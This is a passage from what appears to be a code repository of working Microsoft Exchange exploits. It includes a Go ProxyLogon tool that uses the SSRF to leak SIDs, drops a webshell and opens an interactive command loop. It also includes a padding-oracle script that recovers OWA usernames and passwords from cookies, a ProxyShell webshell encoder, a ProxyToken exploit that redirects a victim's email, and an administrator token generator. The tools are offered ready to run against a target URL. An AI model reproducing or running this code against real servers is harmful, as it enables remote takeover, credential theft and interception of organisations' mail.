200 { 295 | fmt.Println("[-] Write Shell Error!") 296 | read12, _ := ioutil.ReadAll(do4.Body) 297 | fmt.Println(string(read12)) 298 | } else { 299 | fmt.Println("[+] Write Shell success!") 300 | shell_e := target + "/aspnet_client/" + shell_name 301 | requestshell, err := http.NewRequest(http.MethodGet, shell_e, strings.NewReader("")) 302 | if err != nil { 303 | panic(err) 304 | } 305 | 306 | do5, err := cli.Do(requestshell) 307 | if err != nil { 308 | fmt.Println("[-] requesting err...") 309 | return 310 | } 311 | 312 | if do5.StatusCode != 200 { 313 | fmt.Println("[-] requesting Shell Error! can not access the webshell! try again...") 314 | } 315 | 316 | s, _ := ioutil.ReadAll(do5.Body) 317 | fmt.Printf("[+] the request shell response data:\n" + string(s)) 318 | if do5.StatusCode == 200 { 319 | fmt.Println("[+] Webshell drop at " + target + "/aspnet_client/" + shell_name + " .. Have fun!") 320 | fmt.Println("[+] Code: curl -ik " + target + "/aspnet_client/" + shell_name + ` -d 'lUc1f3r11=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())'`) 321 | reader := bufio.NewReader(os.Stdin) 322 | for { 323 | fmt.Print("> ") 324 | input, err := reader.ReadString('\n') 325 | shell_body_exec := `lUc1f3r11=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c ` + input + `").stdout.readall())` 326 | request5, err := http.NewRequest(http.MethodPost, target+"/aspnet_client/"+shell_name, strings.NewReader(shell_body_exec)) 327 | if err != nil { 328 | fmt.Println(err) 329 | } 330 | request5.Header.Add("Content-Type", "application/x-www-form-urlencoded") 331 | request5.Header.Add("User-Agent", user_agent) 332 | 333 | do5, err := cli.Do(request5) 334 | if err != nil { 335 | fmt.Println("[-] requesting err...") 336 | return 337 | } 338 | if do5.StatusCode == 200 { 339 | readres, _ := ioutil.ReadAll(do5.Body) 340 | fmt.Println("[+] cmd exec results:\n") 341 | fmt.Println("-----------------------") 342 | fmt.Println(string(readres)) 343 | } else if do5.StatusCode == 500 { 344 | fmt.Println("[-] AV block exec cmd!!") 345 | } else { 346 | fmt.Println("[-] Something wrong.. try again?") 347 | } 348 | if err = execShell(input); err != nil { 349 | fmt.Fprintln(os.Stderr, err) 350 | } 351 | } 352 | } else { 353 | fmt.Println("[+] Webshell not found due to Covid, try again!") 354 | } 355 | } 356 | } 357 | } 358 | 359 | func exploit(url, email string) { 360 | server := url + "/owa/auth.owa" 361 | print("[+] Target Server url: " + server + "\n") 362 | c := http.Client{ 363 | Timeout: time.Second * 7, 364 | Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, 365 | } 366 | request6, err := http.NewRequest(http.MethodPost, server, strings.NewReader("")) 367 | if err != nil { 368 | fmt.Println(err) 369 | } 370 | do6, err := c.Do(request6) 371 | if err != nil { 372 | fmt.Println(err) 373 | fmt.Println("[-] Hmm?, is that exchange server?") 374 | return 375 | } 376 | defer do6.Body.Close() 377 | if do6.StatusCode != 400 { 378 | fmt.Println("[-] Cant get FQDN!") 379 | } else if do6.StatusCode == 400 { 380 | fmt.Println("[+] get FQDN success!") 381 | server_name := do6.Header["X-Feserver"][0] 382 | fmt.Println("[+] Got FQDN: " + server_name) 383 | path_maybe_vuln := "/ecp/pentest.js" 384 | payload := ` 385 | 389 | 390 | 391 | 392 | Default 393 | 394 | 395 | 396 | 397 | admin@domain.tld 398 | 399 | 400 | 401 | 402 | 403 | ` 404 | request7, err := http.NewRequest(http.MethodPost, url+path_maybe_vuln, strings.NewReader(payload)) 405 | if err != nil { 406 | fmt.Println(err) 407 | } 408 | 409 | request7.Header.Add("User-Agent", "Hello-World") 410 | request7.Header.Add("Cookie", "X-BEResource="+server_name+"/EWS/Exchange.asmx?a=~1942062522;") 411 | request7.Header.Add("Connection", "close") 412 | request7.Header.Add("Content-Type", "text/xml") 413 | 414 | do7, err := c.Do(request7) 415 | if err != nil { 416 | fmt.Println("[-] Hmm?, is that exchange server?") 417 | return 418 | } 419 | if do7.StatusCode == 200 { 420 | fmt.Println("[+] Target is Vuln to SSRF [CVE-2021-26855]!") 421 | fmt.Println("[+] Getting Information Server!") 422 | fmt.Printf("[+] Computer Name = ") 423 | fmt.Println(do7.Header["X-Diaginfo"][0]) 424 | fmt.Println("[+] Domain Name = ") 425 | fmt.Println(do7.Header["X-Calculatedbetarget"][1]) 426 | fmt.Println("[+] Guest SID = ") 427 | fmt.Println(splitBackEnd(do7.Header["Set-Cookie"][1])) 428 | 429 | autodiscover_payload := ` 430 | 431 | ` + email + ` 432 | http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a 433 | 434 | ` 435 | request8, err := http.NewRequest(http.MethodPost, url+path_maybe_vuln, strings.NewReader(autodiscover_payload)) 436 | if err != nil { 437 | fmt.Println(err) 438 | } 439 | 440 | request8.Header.Add("User-Agent", "Hello-World") 441 | request8.Header.Add("Cookie", "X-BEResource=Admin@"+server_name+":444/autodiscover/autodiscover.xml?a=~1942062522;") 442 | request8.Header.Add("Connection", "close") 443 | request8.Header.Add("Content-Type", "text/xml") 444 | 445 | do8, err := c.Do(request8) 446 | if err != nil { 447 | fmt.Println("[-] Hmm?, is that exchange server?") 448 | return 449 | } 450 | res1, _ := ioutil.ReadAll(do8.Body) 451 | fmt.Println("[+] valid email: " + email) 452 | txtstr := string(res1) 453 | re, _ := regexp.Compile("(?:)(.+?)(?:)") 454 | match := re.FindString(txtstr) 455 | legacyDN1 := strings.ReplaceAll(match, "", "") 456 | legacyDN := strings.ReplaceAll(legacyDN1, "", "") 457 | fmt.Println("[+] legacyDN is: " + legacyDN) 458 | mapi_body := legacyDN + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" 459 | request9, err := http.NewRequest(http.MethodPost, url+path_maybe_vuln, strings.NewReader(mapi_body)) 460 | if err != nil { 461 | fmt.Println(err) 462 | } 463 | 464 | request9.Header.Add("Cookie", "X-BEResource=Admin@"+server_name+":444/mapi/emsmdb?MailboxId="+server+"&a=~1942062522;") 465 | request9.Header.Add("Content-Type", "application/mapi-http") 466 | request9.Header.Add("X-Requesttype", "Connect") 467 | request9.Header.Add("X-Clientinfo", "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}") 468 | request9.Header.Add("X-Clientapplication", "Outlook/15.0.4815.1002") 469 | request9.Header.Add("X-Requestid", "{C715155F-2BE8-44E0-BD34-2960067874C8}:500") 470 | request9.Header.Add("User-Agent", "Hello-World") 471 | 472 | do9, err := c.Do(request9) 473 | if err != nil { 474 | fmt.Println("[-] Hmm?, is that exchange server?") 475 | return 476 | } 477 | if do9.StatusCode != 200 { 478 | fmt.Println("[-] Cant leak User SID!!") 479 | } else { 480 | readres2, err := ioutil.ReadAll(do9.Body) 481 | if err == nil { 482 | sid := splitMasterAccountSid(string(readres2)) 483 | fmt.Println("[+] Found User SID = " + sid) 484 | getshell(url, email, server_name, sid) 485 | } 486 | } 487 | } else { 488 | fmt.Println("[-] Target is not Vuln to SSRF [CVE-2021-26855]!") 489 | } 490 | } else { 491 | fmt.Println("[-] Target is not Vuln to SSRF [CVE-2021-26855]!") 492 | } 493 | } 494 | 495 | func main() { 496 | Banner() 497 | var target, email string 498 | flag.StringVar(&target, "u", "", "") 499 | flag.StringVar(&email, "e", "", "") 500 | flag.CommandLine.Usage = func() { 501 | fmt.Println("usage:\nexec: ./proxylogon -u -e ") 502 | } 503 | flag.Parse() 504 | if len(target) == 0 { 505 | fmt.Println("[+] please enter the url you want to check!!!") 506 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11") 507 | } else { 508 | exploit(target, email) 509 | } 510 | } 511 | -------------------------------------------------------------------------------- /proxyoracle.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import urllib3 5 | import requests 6 | from base64 import b64decode, b64encode 7 | from itertools import cycle 8 | from Crypto.Util.Padding import unpad 9 | 10 | 11 | urllib3.disable_warnings() 12 | 13 | target = "" 14 | headers = {} 15 | cookies = {} 16 | proxies = {} 17 | 18 | class BadPaddingException(Exception): 19 | "raise BadPaddingException" 20 | 21 | class PaddingOracle(object): 22 | def __init__(self, **kwargs): 23 | self.max_retries = int(kwargs.get('max_retries', 3)) 24 | self.attempts = 0 25 | self.history = [] 26 | self._decrypted = None 27 | 28 | def oracle(self, data, **kwargs): 29 | "Override" 30 | raise NotImplementedError 31 | 32 | def bust(self, block, block_size, **kwargs): 33 | intermediate_bytes = bytearray(block_size) 34 | test_bytes = bytearray(block_size) 35 | test_bytes.extend(block) 36 | 37 | retries = 0 38 | last_ok = 0 39 | while retries < self.max_retries: 40 | for byte_num in reversed(range(block_size)): 41 | self.history = [] 42 | r = 256 43 | if byte_num == block_size - 1 and last_ok > 0: 44 | r = last_ok 45 | 46 | for i in reversed(range(r)): 47 | test_bytes[byte_num] = i 48 | try: 49 | self.attempts += 1 50 | self.oracle(test_bytes[:], **kwargs) 51 | 52 | if byte_num == block_size - 1: 53 | last_ok = i 54 | 55 | except BadPaddingException: 56 | continue 57 | except Exception: 58 | raise 59 | 60 | current_pad_byte = block_size - byte_num 61 | next_pad_byte = block_size - byte_num + 1 62 | decrypted_byte = test_bytes[byte_num] ^ current_pad_byte 63 | intermediate_bytes[byte_num] = decrypted_byte 64 | 65 | for k in range(byte_num, block_size): 66 | test_bytes[k] ^= current_pad_byte 67 | test_bytes[k] ^= next_pad_byte 68 | break 69 | 70 | else: 71 | retries += 1 72 | break 73 | else: 74 | break 75 | else: 76 | raise RuntimeError(f"{byte_num} in {block} try {self.max_retries}") 77 | 78 | return intermediate_bytes 79 | 80 | def xor(self, data, key): 81 | return bytearray([x ^ y for x, y in zip(data, cycle(key))]) 82 | 83 | def decrypt(self, ciphertext, block_size=16, **kwargs): 84 | ciphertext = bytearray(ciphertext) 85 | assert len(ciphertext) % block_size == 0, "The ciphertext Length Error!" 86 | 87 | iv, ctext = ciphertext[:block_size], ciphertext[block_size:] 88 | 89 | decrypted = bytearray(len(ctext)) 90 | self._decrypted = decrypted 91 | 92 | n = 0 93 | while ctext: 94 | block, ctext = ctext[:block_size], ctext[block_size:] 95 | intermediate_bytes = self.bust(block, block_size, **kwargs) 96 | print(f"\033[92mGet Block [{int(n/block_size)+1}] Intermediate Value: \033[0m\n{intermediate_bytes}") 97 | decrypted[n:n + block_size] = self.xor(intermediate_bytes, iv) 98 | iv = block 99 | n += block_size 100 | 101 | return decrypted 102 | 103 | class RunOracle(PaddingOracle): 104 | def __init__(self, **kwargs): 105 | super(RunOracle, self).__init__(**kwargs) 106 | self.req = requests.session() 107 | 108 | def check_reason(self, result): 109 | if result.status_code != 302: 110 | print(f"\033[91m[-] {result.status_code} Error!\033[0m") 111 | return 1 112 | url = result.headers["Location"] 113 | if url.endswith("reason=0"): 114 | # print("[*] Padding Error!") 115 | return 0 116 | elif url.endswith("reason=2"): 117 | # print("[+] Got it!") 118 | return 2 119 | else: 120 | print(f"\033[91m[-] Reason Error!\033[0m") 121 | return 3 122 | 123 | def oracle(self, cipher_bytes, **kwargs): 124 | cookies["cadata"] = b64encode(cipher_bytes).decode() 125 | try: 126 | result = self.req.get(target, headers=headers, cookies=cookies, verify=False, allow_redirects=False) 127 | except requests.exceptions.RequestException as e: 128 | print(f"\033[93m[ReqError]: \033[0m{e}") 129 | sys.exit(0) 130 | reason = self.check_reason(result) 131 | if reason == 0: 132 | raise BadPaddingException 133 | elif reason == 2: 134 | return 135 | else: 136 | print(f"\033[91m[-] Check Result!\033[0m") 137 | sys.exit(0) 138 | 139 | def get_cookies(cookies_str): 140 | cookies = dict([kv.strip().split("=", 1) for kv in cookies_str.split(";")]) 141 | return cookies 142 | 143 | def main(argv): 144 | global target, headers, cookies, proxies 145 | target = f"https://{argv[1]}/owa/" 146 | headers = { 147 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", 148 | } 149 | proxies = { 150 | "http": "http://127.0.0.1:8080", 151 | "https": "https://127.0.0.1:8080" 152 | } 153 | cookies_str = argv[2] 154 | 155 | cookies = get_cookies(cookies_str) 156 | cipher_bytes = b64decode(cookies["cadata"].encode("latin-1")) 157 | 158 | runoracle = RunOracle() 159 | plain_bytes = runoracle.decrypt(cipher_bytes) 160 | plain_bytes = unpad(plain_bytes, 16, "pkcs7") 161 | 162 | plain_b64 = plain_bytes.decode("utf-16-le") 163 | plain_list = f"""??{b64decode(f"AA{plain_b64}")[2:].decode()}""".split(":", 1) 164 | 165 | username = plain_list[0] 166 | password = plain_list[1] 167 | print(f"\033[92mUsername: \033[0m{username}") 168 | print(f"\033[92mPassword: \033[0m{password}") 169 | 170 | 171 | if __name__ == "__main__": 172 | try: 173 | main(sys.argv) 174 | except IndexError: 175 | print("Usage: python3 proxyoracle.py 1.1.1.1 'cdata=xxx; cadataTTL=yyy; ...'") -------------------------------------------------------------------------------- /proxyshell_payload_gen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #coding: UTF-8 3 | 4 | import base64 5 | import six 6 | from io import BytesIO 7 | 8 | DWORD_SIZE = 4 9 | 10 | mpbbCrypt = [ 11 | 65, 54, 19, 98, 168, 33, 110, 187, 12 | 244, 22, 204, 4, 127, 100, 232, 93, 13 | 30, 242, 203, 42, 116, 197, 94, 53, 14 | 210, 149, 71, 158, 150, 45, 154, 136, 15 | 76, 125, 132, 63, 219, 172, 49, 182, 16 | 72, 95, 246, 196, 216, 57, 139, 231, 17 | 35, 59, 56, 142, 200, 193, 223, 37, 18 | 177, 32, 165, 70, 96, 78, 156, 251, 19 | 170, 211, 86, 81, 69, 124, 85, 0, 20 | 7, 201, 43, 157, 133, 155, 9, 160, 21 | 143, 173, 179, 15, 99, 171, 137, 75, 22 | 215, 167, 21, 90, 113, 102, 66, 191, 23 | 38, 74, 107, 152, 250, 234, 119, 83, 24 | 178, 112, 5, 44, 253, 89, 58, 134, 25 | 126, 206, 6, 235, 130, 120, 87, 199, 26 | 141, 67, 175, 180, 28, 212, 91, 205, 27 | 226, 233, 39, 79, 195, 8, 114, 128, 28 | 207, 176, 239, 245, 40, 109, 190, 48, 29 | 77, 52, 146, 213, 14, 60, 34, 50, 30 | 229, 228, 249, 159, 194, 209, 10, 129, 31 | 18, 225, 238, 145, 131, 118, 227, 151, 32 | 230, 97, 138, 23, 121, 164, 183, 220, 33 | 144, 122, 92, 140, 2, 166, 202, 105, 34 | 222, 80, 26, 17, 147, 185, 82, 135, 35 | 88, 252, 237, 29, 55, 73, 27, 106, 36 | 224, 41, 51, 153, 189, 108, 217, 148, 37 | 243, 64, 84, 111, 240, 198, 115, 184, 38 | 214, 62, 101, 24, 68, 31, 221, 103, 39 | 16, 241, 12, 25, 236, 174, 3, 161, 40 | 20, 123, 169, 11, 255, 248, 163, 192, 41 | 162, 1, 247, 46, 188, 36, 104, 117, 42 | 13, 254, 186, 47, 181, 208, 218, 61, 43 | 20, 83, 15, 86, 179, 200, 122, 156, 44 | 235, 101, 72, 23, 22, 21, 159, 2, 45 | 204, 84, 124, 131, 0, 13, 12, 11, 46 | 162, 98, 168, 118, 219, 217, 237, 199, 47 | 197, 164, 220, 172, 133, 116, 214, 208, 48 | 167, 155, 174, 154, 150, 113, 102, 195, 49 | 99, 153, 184, 221, 115, 146, 142, 132, 50 | 125, 165, 94, 209, 93, 147, 177, 87, 51 | 81, 80, 128, 137, 82, 148, 79, 78, 52 | 10, 107, 188, 141, 127, 110, 71, 70, 53 | 65, 64, 68, 1, 17, 203, 3, 63, 54 | 247, 244, 225, 169, 143, 60, 58, 249, 55 | 251, 240, 25, 48, 130, 9, 46, 201, 56 | 157, 160, 134, 73, 238, 111, 77, 109, 57 | 196, 45, 129, 52, 37, 135, 27, 136, 58 | 170, 252, 6, 161, 18, 56, 253, 76, 59 | 66, 114, 100, 19, 55, 36, 106, 117, 60 | 119, 67, 255, 230, 180, 75, 54, 92, 61 | 228, 216, 53, 61, 69, 185, 44, 236, 62 | 183, 49, 43, 41, 7, 104, 163, 14, 63 | 105, 123, 24, 158, 33, 57, 190, 40, 64 | 26, 91, 120, 245, 35, 202, 42, 176, 65 | 175, 62, 254, 4, 140, 231, 229, 152, 66 | 50, 149, 211, 246, 74, 232, 166, 234, 67 | 233, 243, 213, 47, 112, 32, 242, 31, 68 | 5, 103, 173, 85, 16, 206, 205, 227, 69 | 39, 59, 218, 186, 215, 194, 38, 212, 70 | 145, 29, 210, 28, 34, 51, 248, 250, 71 | 241, 90, 239, 207, 144, 182, 139, 181, 72 | 189, 192, 191, 8, 151, 30, 108, 226, 73 | 97, 224, 198, 193, 89, 171, 187, 88, 74 | 222, 95, 223, 96, 121, 126, 178, 138, 75 | 71, 241, 180, 230, 11, 106, 114, 72, 76 | 133, 78, 158, 235, 226, 248, 148, 83, 77 | 224, 187, 160, 2, 232, 90, 9, 171, 78 | 219, 227, 186, 198, 124, 195, 16, 221, 79 | 57, 5, 150, 48, 245, 55, 96, 130, 80 | 140, 201, 19, 74, 107, 29, 243, 251, 81 | 143, 38, 151, 202, 145, 23, 1, 196, 82 | 50, 45, 110, 49, 149, 255, 217, 35, 83 | 209, 0, 94, 121, 220, 68, 59, 26, 84 | 40, 197, 97, 87, 32, 144, 61, 131, 85 | 185, 67, 190, 103, 210, 70, 66, 118, 86 | 192, 109, 91, 126, 178, 15, 22, 41, 87 | 60, 169, 3, 84, 13, 218, 93, 223, 88 | 246, 183, 199, 98, 205, 141, 6, 211, 89 | 105, 92, 134, 214, 20, 247, 165, 102, 90 | 117, 172, 177, 233, 69, 33, 112, 12, 91 | 135, 159, 116, 164, 34, 76, 111, 191, 92 | 31, 86, 170, 46, 179, 120, 51, 80, 93 | 176, 163, 146, 188, 207, 25, 28, 167, 94 | 99, 203, 30, 77, 62, 75, 27, 155, 95 | 79, 231, 240, 238, 173, 58, 181, 89, 96 | 4, 234, 64, 85, 37, 81, 229, 122, 97 | 137, 56, 104, 82, 123, 252, 39, 174, 98 | 215, 189, 250, 7, 244, 204, 142, 95, 99 | 239, 53, 156, 132, 43, 21, 213, 119, 100 | 52, 73, 182, 18, 10, 127, 113, 136, 101 | 253, 157, 24, 65, 125, 147, 216, 88, 102 | 44, 206, 254, 36, 175, 222, 184, 54, 103 | 200, 161, 128, 166, 153, 152, 168, 47, 104 | 14, 129, 101, 115, 228, 194, 162, 138, 105 | 212, 225, 17, 208, 8, 139, 42, 242, 106 | 237, 154, 100, 63, 193, 108, 249, 236 107 | ] 108 | 109 | mpbbR = mpbbCrypt 110 | mpbbS = mpbbCrypt[256:] 111 | mpbbI = mpbbCrypt[512:] 112 | 113 | 114 | def cryptpermute(data, encrypt=False): 115 | table = mpbbR if encrypt else mpbbI 116 | tmp = [table[v] for v in data] if six.PY3 else [table[ord(v)] for v in data] 117 | i = 0 118 | buf = bytes(tmp) if six.PY3 else bytearray(tmp) 119 | stream = BytesIO(buf) 120 | while True: 121 | b = stream.read(DWORD_SIZE) 122 | try: 123 | tmp[i] = b[0] 124 | tmp[i + 1] = b[1] 125 | tmp[i + 2] = b[2] 126 | tmp[i + 3] = b[3] 127 | i += DWORD_SIZE 128 | except: 129 | pass 130 | if len(b) != DWORD_SIZE: 131 | break 132 | 133 | return bytes(tmp) if six.PY3 else ''.join(tmp) 134 | 135 | if __name__ == "__main__": 136 | webshell = b"" 137 | v1 = cryptpermute(webshell, False) 138 | b64_data = base64.b64encode(v1).decode() 139 | print("[+] Encode webshell ⬇\n{}\n".format(b64_data)) 140 | 141 | encode_shell = base64.b64decode(b64_data) 142 | decode_shell = cryptpermute(encode_shell, True) 143 | print("[+] Decode webshell ⬇\n{}\n".format(decode_shell.decode())) -------------------------------------------------------------------------------- /proxytoken.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "flag" 6 | "fmt" 7 | "net/http" 8 | "strings" 9 | "time" 10 | 11 | "github.com/fatih/color" 12 | ) 13 | 14 | func Banner() { 15 | x := ` 16 | ---------------------- 17 | < proxytoken is awesome! > 18 | ---------------------- 19 | \ ^__^ 20 | \ (oo)\_______ 21 | (__)\ )\/\ 22 | ||----w | 23 | || ||` 24 | y := "By lUc1f3r11" 25 | color.Red("%s", x) 26 | color.Yellow("%s", y) 27 | } 28 | 29 | func Between(str, starting, ending string) string { 30 | s := strings.Index(str, starting) 31 | if s < 0 { 32 | return "" 33 | } 34 | s += len(starting) 35 | e := strings.Index(str[s:], ending) 36 | if e < 0 { 37 | return "" 38 | } 39 | return str[s : s+e] 40 | } 41 | 42 | func splitmsexch(msexch string) string { 43 | msexch1 := strings.Split(msexch, "msExchEcpCanary=") 44 | msexch2 := msexch1[len(msexch1)-1] 45 | msexch3 := strings.Split(msexch2, ";") 46 | msexch4 := msexch3[0] 47 | 48 | return msexch4 49 | } 50 | 51 | func splitequal(msexch string) string { 52 | msexch1 := strings.Split(msexch, "=") 53 | msexch2 := msexch1[0] 54 | 55 | return msexch2 56 | } 57 | 58 | func exploit(target, targetemail, victimemail string) { 59 | user_agent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" 60 | /*构造payload*/ 61 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}} 62 | if !strings.Contains(target, "http") { 63 | target = "http://" + target 64 | } 65 | 66 | request, err := http.NewRequest(http.MethodGet, target+"/ecp/"+targetemail+"/RulesEditor/InboxRules.svc/Newobject", nil) 67 | if err != nil { 68 | fmt.Println(err) 69 | } 70 | 71 | request.Header.Add("User-Agent", user_agent) 72 | request.Header.Add("Connection", "close") 73 | request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8") 74 | request.Header.Add("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2") 75 | request.Header.Add("Accept-Encoding", "gzip, deflate") 76 | request.Header.Add("Cookie", "SecurityToken=x") 77 | request.Header.Add("Content-Type", "application/json; charset=utf-8") 78 | 79 | do, err := cli.Do(request) 80 | if err != nil { 81 | fmt.Println("[-] requesting err...") 82 | return 83 | } 84 | 85 | defer func() { 86 | _ = do.Body.Close() 87 | }() 88 | 89 | if do.StatusCode == 404 && splitequal(do.Header["Set-Cookie"][0]) == "msExchEcpCanary" { 90 | fmt.Println("[+] req status: " + do.Status) 91 | fmt.Println("[+] target Set-Cookie's msExchEcpCanary value is: " + splitmsexch(do.Header["Set-Cookie"][0])) 92 | fmt.Println("[+] target is vulnerable to proxytoken !") 93 | 94 | postdata := `{"properties":{"RedirectTo":[{"RawIdentity":"` + targetemail + `","DisplayName":"` + targetemail + `","Address":"` + targetemail + `","AddressOrigin":0,"galContactGuid":null,"RecipientFlag":0,"RoutingType":"SMTP","SMTPAddress":"` + targetemail + `"}],"Name":"Testrule","StopProcessingRules":true}}` 95 | 96 | request1, err := http.NewRequest(http.MethodPost, target+"/ecp/"+victimemail+"RulesEditor/InboxRules.svc/Newobject?msExchEcpCanary="+splitmsexch(do.Header["Set-Cookie"][0]), strings.NewReader(postdata)) 97 | if err != nil { 98 | fmt.Println(err) 99 | } 100 | 101 | request1.Header.Add("User-Agent", user_agent) 102 | request1.Header.Add("Connection", "close") 103 | request1.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8") 104 | request1.Header.Add("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2") 105 | request1.Header.Add("Accept-Encoding", "gzip, deflate") 106 | request1.Header.Add("Cookie", "SecurityToken=x") 107 | request1.Header.Add("Content-Type", "application/json; charset=utf-8") 108 | 109 | do1, err := cli.Do(request1) 110 | if err != nil { 111 | fmt.Println("[-] requesting err...") 112 | return 113 | } 114 | if do1.StatusCode == 200 { 115 | fmt.Println("[+] req status: " + do1.Status) 116 | fmt.Println("[+] target Set-Cookie's msExchEcpCanary value is: " + splitmsexch(do.Header["Set-Cookie"][0])) 117 | fmt.Println("[+] set email redirection rule successed !") 118 | } else { 119 | fmt.Println("[-] req status: " + do1.Status) 120 | fmt.Println("[-] target Set-Cookie value is: " + splitequal(do.Header["Set-Cookie"][0])) 121 | fmt.Println("[-] set email redirection rule failed !") 122 | } 123 | } else { 124 | fmt.Println("[-] req status: " + do.Status) 125 | fmt.Println("[-] target Set-Cookie value is: " + splitequal(do.Header["Set-Cookie"][0])) 126 | fmt.Println("[-] target is not vulnerable to proxytoken !") 127 | } 128 | } 129 | 130 | func main() { 131 | Banner() 132 | var target, targetemail, victimemail string 133 | flag.StringVar(&target, "u", "", "") 134 | flag.StringVar(&targetemail, "te", "", "") 135 | flag.StringVar(&victimemail, "ve", "", "") 136 | flag.CommandLine.Usage = func() { 137 | fmt.Println("usage:\nexec: ./proxytoken -u -te -ve \n") 138 | } 139 | flag.Parse() 140 | 141 | if len(target) == 0 { 142 | fmt.Println("[+] please enter the url you want to check!!!") 143 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11") 144 | } 145 | 146 | exploit(target, targetemail, victimemail) 147 | } 148 | -------------------------------------------------------------------------------- /sid_gen_token.py: -------------------------------------------------------------------------------- 1 | from struct import * 2 | import base64 3 | 4 | def gen_token(uname, sid): 5 | version = 0 6 | ttype = 'Windows' 7 | compressed = 0 8 | auth_type = 'Kerberos' 9 | raw_token = b'' 10 | gsid = 'S-1-5-32-544' 11 | 12 | version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little') 13 | type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode() 14 | compress_data = b'C' + (compressed).to_bytes(1, 'little') 15 | auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode() 16 | login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode() 17 | user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode() 18 | group_data = b'G' + pack('I', 0) 20 | 21 | raw_token += version_data 22 | raw_token += type_data 23 | raw_token += compress_data 24 | raw_token += auth_data 25 | raw_token += login_data 26 | raw_token += user_data 27 | raw_token += group_data 28 | raw_token += ext_data 29 | 30 | data = base64.b64encode(raw_token).decode() 31 | 32 | return data 33 | 34 | 35 | print(gen_token("administrator@ex.com","S-1-5-21-3109812776-1473611157-1400307056-500")) # change here... 36 | # VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBRhZG1pbmlzdHJhdG9yQGV4LmNvbVUtUy0xLTUtMjEtMzEwOTgxMjc3Ni0xNDczNjExMTU3LTE0MDAzMDcwNTYtNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA -------------------------------------------------------------------------------- /test.xml: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 9 | S-1-5-21-3109812776-1473611157-1400307056-500 10 | 11 | 12 | S-1-5-21 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | you are fucked 22 | hello from darkness side 23 | 24 | 25 | FileAttachment.txt 26 | false 27 | false 28 | ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ 29 | 30 | 31 | 32 | 33 | administrator@ex.com 34 | 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /testfunc/proxyoracle_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "encoding/base64" 6 | "errors" 7 | "flag" 8 | "fmt" 9 | "net/http" 10 | "sort" 11 | "strings" 12 | "time" 13 | 14 | "github.com/fatih/color" 15 | ) 16 | 17 | func Banner() { 18 | x := ` 19 | ---------------------- 20 | < proxyoracle is awesome! > 21 | ---------------------- 22 | \ ^__^ 23 | \ (oo)\_______ 24 | (__)\ )\/\ 25 | ||----w | 26 | || ||` 27 | y := "By lUc1f3r11" 28 | color.Red("%s", x) 29 | color.Yellow("%s", y) 30 | } 31 | 32 | func getcadata(cookiestr string) string { 33 | cookie1 := strings.Split(cookiestr, "; ") 34 | return cookie1[0] 35 | } 36 | 37 | func getcadataTTL(cookiestr string) string { 38 | cookie2 := strings.Split(cookiestr, "; ") 39 | return cookie2[1] 40 | } 41 | 42 | func getcadataKey(cookiestr string) string { 43 | cookie3 := strings.Split(cookiestr, "; ") 44 | return cookie3[2] 45 | } 46 | 47 | func getcadataIV(cookiestr string) string { 48 | cookie4 := strings.Split(cookiestr, "; ") 49 | return cookie4[3] 50 | } 51 | 52 | func getcadataSig(cookiestr string) string { 53 | cookie5 := strings.Split(cookiestr, "; ") 54 | return cookie5[4] 55 | } 56 | 57 | func splitcadata(cadata string) string { 58 | strs := strings.Split(cadata, "cadata=") 59 | return strs[1] 60 | } 61 | 62 | func myCheckRedirect(req *http.Request, via []*http.Request) error { 63 | //自用,将url根据需求进行组合 64 | if len(via) <= 1000000000000 { 65 | return errors.New("stopped after 1 redirects") 66 | } 67 | return nil 68 | } 69 | 70 | func splitlocation(location string) string { 71 | strs := strings.Split(location, "%2f&") 72 | return strs[1] 73 | } 74 | 75 | func getcipherbytes(cookiedata string) []byte { 76 | b := []byte(splitcadata(getcadata(cookiedata))) 77 | encc := base64.StdEncoding.EncodeToString(b) 78 | decc, _ := base64.StdEncoding.DecodeString(encc) 79 | 